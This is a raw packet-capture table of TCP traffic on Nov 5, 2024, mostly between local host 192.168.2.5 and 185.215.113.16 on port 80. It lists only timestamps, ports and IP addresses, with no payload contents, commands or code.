Nov 5, 2024 10:13:17.538203955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538214922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538239956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538252115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538261890 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538264036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538275003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538291931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538305044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538311958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538311958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538317919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538333893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538367987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538367987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538384914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538397074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538408995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538440943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538469076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538503885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538516998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538541079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538553953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538563967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538575888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538595915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538603067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538603067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538609028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538623095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538634062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538640022 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538645029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538656950 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538659096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538677931 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538678885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538703918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538707018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538717031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538728952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538739920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538753033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538755894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538764000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538777113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538810968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538810968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539047956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539083958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539097071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539107084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539117098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539129019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539138079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539143085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539154053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539172888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539186001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539195061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539196968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539212942 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539227009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539235115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539238930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539252043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539259911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539262056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539277077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539284945 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539295912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539298058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539308071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.539426088 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.539427042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.542646885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.543847084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543857098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543874979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543884993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543895006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543905020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543915033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543926001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543936014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543946028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543955088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543966055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543970108 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.543970108 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.543977976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.543987036 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.544028997 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.544684887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.544703960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.544790030 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.544821978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.544831991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.544843912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.544852018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.544908047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.545056105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545082092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545093060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545104027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545114040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545120955 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.545125961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545137882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545145988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545155048 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.545155048 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.545186996 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.545692921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545711040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545722008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545732021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545742989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545752048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545763016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545772076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545782089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545782089 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.545793056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545804024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.545847893 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.545849085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.546838045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546848059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546858072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546868086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546879053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546888113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546899080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546910048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546914101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.546922922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.546941996 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.546941996 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.546957970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.547336102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547414064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547422886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547440052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547487974 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.547487974 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.547513962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547523975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547533989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547545910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547557116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547566891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547580957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.547581911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.547589064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.547635078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.548255920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548361063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548376083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548388004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548398018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548401117 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.548408985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548412085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.548429966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548446894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.548446894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548459053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548470020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548482895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.548491001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.548491001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.548535109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.549213886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549254894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549266100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549298048 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.549357891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549369097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549379110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549387932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549397945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549407959 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.549408913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549421072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549427986 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.549436092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.549455881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.549455881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.550450087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550623894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550633907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550637007 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.550646067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550667048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550673008 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.550709009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.550712109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550724030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550734043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550748110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550757885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550770044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.550781965 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.550801992 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.550823927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.551156998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.551167965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.551179886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.551191092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.551220894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.551238060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.551503897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.551515102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.551525116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.551563978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.559664011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.559674978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.559684992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.559792042 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.559979916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560020924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560029984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560071945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560081959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560091019 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.560095072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560106993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560126066 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.560126066 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.560156107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560163975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560173988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560184956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560194969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560208082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560220003 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.560242891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.560273886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560291052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560302973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.560332060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.560345888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.613790989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613801003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613821983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613842964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613852978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613862991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613873959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613879919 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.613884926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613897085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613923073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613928080 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.613933086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613944054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.613953114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613960981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613970041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613976955 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.613980055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.613991022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.614002943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.614002943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.614002943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.614015102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.614062071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.614062071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.660326004 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665283918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665307999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665319920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665338993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665350914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665361881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665364981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665400028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665400982 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665412903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665425062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665436029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665446997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665458918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665466070 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665492058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665492058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665505886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665518045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665539026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665550947 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665553093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665568113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665579081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665591002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665600061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665604115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665617943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665627003 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665647030 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665667057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665678024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665688992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665693998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665712118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665733099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665739059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665752888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665757895 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665765047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665779114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665798903 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665828943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665863991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665877104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665888071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665899992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665920019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665937901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665937901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.665963888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.665976048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.666007042 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.676323891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.676341057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.676353931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.676362991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.676424980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.676707029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.676717997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.676733017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.676767111 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.676795006 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.678738117 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.680979013 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.681876898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.681895018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.681901932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.681972980 CET	49712	80	192.168.2.5	185.215.113.16
